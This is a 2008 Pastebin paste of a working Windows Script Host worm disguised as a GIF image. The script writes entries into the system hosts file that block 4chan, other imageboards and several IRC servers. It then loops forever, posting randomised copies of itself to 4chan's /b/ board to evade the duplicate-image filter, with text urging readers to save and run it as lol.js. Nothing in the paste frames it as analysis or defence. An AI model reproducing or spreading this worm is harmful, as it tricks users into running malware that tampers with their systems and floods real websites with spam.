SHARE
TWEET

mudkipz

a guest Aug 27th, 2008 12,969 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. GIF89a= "       p       1,இ~                                                                                                                                                                                                                                                                                                                                                                    ";
  2.  
  3. var targets = ["ns1.4chan.org", "ns2.4chan.org", "ns3.4chan.org", "www.4chan.org", "content.4chan.org", "orz.4chan.org", "tmp.4chan.org", "rs.4chan.org", "static.4chan.org", "zip.4chan.org", "bin.4chan.org", "dis.4chan.org", "img.4chan.org", "dat.4chan.org", "cgi.4chan.org", "nov.4chan.org", "4chan.org", "status.4chan.org", "4chanstatus.blogspot.com", "irc.rizon.net", "7chan.org", "www.7chan.org", "img.7chan.org", "dix.7chan.org", "irc.7chan.org", "420chan.org", "img.420chan.org", "disc.420chan.org", "irc.420chan.org", "blog.420chan.org", "radio.420chan.org", "711chan.org", "www.711chan.org", "irc.711chan.org", "99chan.org", "www.99chan.org", "irc.99chan.org", "12chan.org", "www.12chan.org", "img.12chan.org", "irc.12chan.org", "shii.org", "www.shii.org", "irc.partyvan.us", "irc.partyvan.fm", "irc.raidchan.org", "encyclopediadramatica.com", "www.encyclopediadramatica.com", "partyvan.eu", "www.partyvan.eu", "anontalk.com", "www.anontalk.com"];
  4.  
  5.  
  6.  
  7. // Character choices for random alphanumeric strings
  8.  
  9. var choices = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
  10.  
  11.  
  12.  
  13. // Last update time for front page
  14.  
  15. var modtime = null;
  16.  
  17.  
  18.  
  19. // Get copy of this script
  20.  
  21. var fs = WSH.createObject("Scripting.FileSystemObject");
  22.  
  23. var thisfile = fs.openTextFile(WSH.scriptFullName, 1);
  24.  
  25. var image = thisfile.readAll().replace(/\x01\x01\x01\x01.*?~/, "\x01\x01\x01\x01\u0b87~");
  26.  
  27. thisfile.close();
  28.  
  29.  
  30.  
  31. // Put copies of the script in System32 directory
  32.  
  33. try {
  34.  
  35.     var shell = WScript.CreateObject("WScript.Shell");
  36.  
  37.     var env = shell.environment("PROCESS");
  38.  
  39.     var winpath = env("SYSTEMROOT");
  40.  
  41.     var hostsfile = fs.openTextFile(winpath + "\\system32\\drivers\\etc\\hosts", 8);
  42.  
  43.     for (var i = 0; i < targets.length; i++) {
  44.  
  45.         hostsfile.writeLine("127.0.0.1       " + targets[i]);
  46.  
  47.     }
  48.  
  49.     hostsfile.close();
  50.  
  51.     shell.Run("ipconfig /flushdns");
  52.  
  53. } catch(e) {}
  54.  
  55.  
  56.  
  57. // Post it over and over
  58.  
  59. var comment = "1. Open this image.\r\n2. Save it as lol.js\r\n3. Open the file you just saved.\r\n4. ???\r\n5. Shit bricks.";
  60.  
  61. var filename = "lol.gif";
  62.  
  63. while (1) {
  64.  
  65.     try {
  66.  
  67.         // Modify "image" to get around duplicate image filter
  68.  
  69.         image = image.substr(0,image.length-20);
  70.  
  71.         for (var i = 0; i < 20; i++) {
  72.  
  73.             image = image + choices.charAt( Math.floor(Math.random()*choices.length) );
  74.  
  75.         }
  76.  
  77.  
  78.  
  79.         // Create XMLHttp request object
  80.  
  81.         var request = WSH.createObject("Msxml2.XMLHTTP");
  82.  
  83.  
  84.  
  85.         // Get a thread number
  86.  
  87.         request.open("get", "http://207.126.64.181/b/imgboard.html", 0);
  88.  
  89.         if (modtime != null) {
  90.  
  91.             request.setRequestHeader("If-Modified-Since", modtime);
  92.  
  93.         }
  94.  
  95.         request.send();
  96.  
  97.         modtime = request.getResponseHeader("Last-Modified");
  98.  
  99.         var threadlist = request.responseText.match(/<span id="nothread\d+/g);
  100.  
  101.         var thread = threadlist[ Math.floor(Math.random()*threadlist.length) ].match(/\d+/)[0];
  102.  
  103.  
  104.  
  105.         // Set site to post to
  106.  
  107.         request.open("post", "http://207.126.64.182/b/imgboard.php", 0);
  108.  
  109.  
  110.  
  111.         // Set headers
  112.  
  113.         var bdry = "";
  114.  
  115.         for (var i = 0; i < 20; i++) {
  116.  
  117.             bdry = bdry + choices.charAt( Math.floor(Math.random()*choices.length) );
  118.  
  119.         }
  120.  
  121.         request.setRequestHeader( "Referer", "http://img.4chan.org/b/res/" + thread + ".html" );
  122.  
  123.         request.setRequestHeader( "Content-Type", "multipart/form-data; boundary=" + bdry );
  124.  
  125.  
  126.  
  127.         // Generate random password
  128.  
  129.         var pwd = "";
  130.  
  131.         for (var i = 0; i < 8; i++) {
  132.  
  133.             pwd = pwd + choices.charAt( Math.floor(Math.random()*choices.length) );
  134.  
  135.         }
  136.  
  137.  
  138.  
  139.         // Send post
  140.  
  141.         var post = "--%b%cMAX_FILE_SIZE\"\r\n\r\n2097152\r\n"
  142.  
  143.             + "--%b%cresto\"\r\n\r\n" + thread + "\r\n"
  144.  
  145.             + "--%b%cname\"\r\n\r\n\r\n"
  146.  
  147.             + "--%b%cemail\"\r\n\r\nnoko\r\n"
  148.  
  149.             + "--%b%csub\"\r\n\r\n\r\n"
  150.  
  151.             + "--%b%ccom\"\r\n\r\n" + comment + "\r\n"
  152.  
  153.             + "--%b%cupfile\"; filename=\"" + filename + "\"\r\nContent-Type: image/gif\r\n\r\n";
  154.  
  155.         var post2 = "\r\n"
  156.  
  157.             + "--%b%cpwd\"\r\n\r\n" + pwd + "\r\n"
  158.  
  159.             + "--%b%cmode\"\r\n\r\nregist\r\n"
  160.  
  161.             + "--%b--\r\n";
  162.  
  163.         post = post.replace(/%b/g, bdry);
  164.  
  165.         post = post.replace(/%c/g, "\r\nContent-Disposition: form-data; name=\"");
  166.  
  167.         post2 = post2.replace(/%b/g, bdry);
  168.  
  169.         post2 = post2.replace(/%c/g, "\r\nContent-Disposition: form-data; name=\"");
  170.  
  171.         request.send(post + image + post2);
  172.  
  173.         WSH.sleep( 45000 + Math.floor(30000 * Math.random()) );
  174.  
  175.     } catch(e) {}
  176.  
  177. }
  178.  
  179.  
  180.  
  181. // 16Jck9k5ER3zAwlvwj6q
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top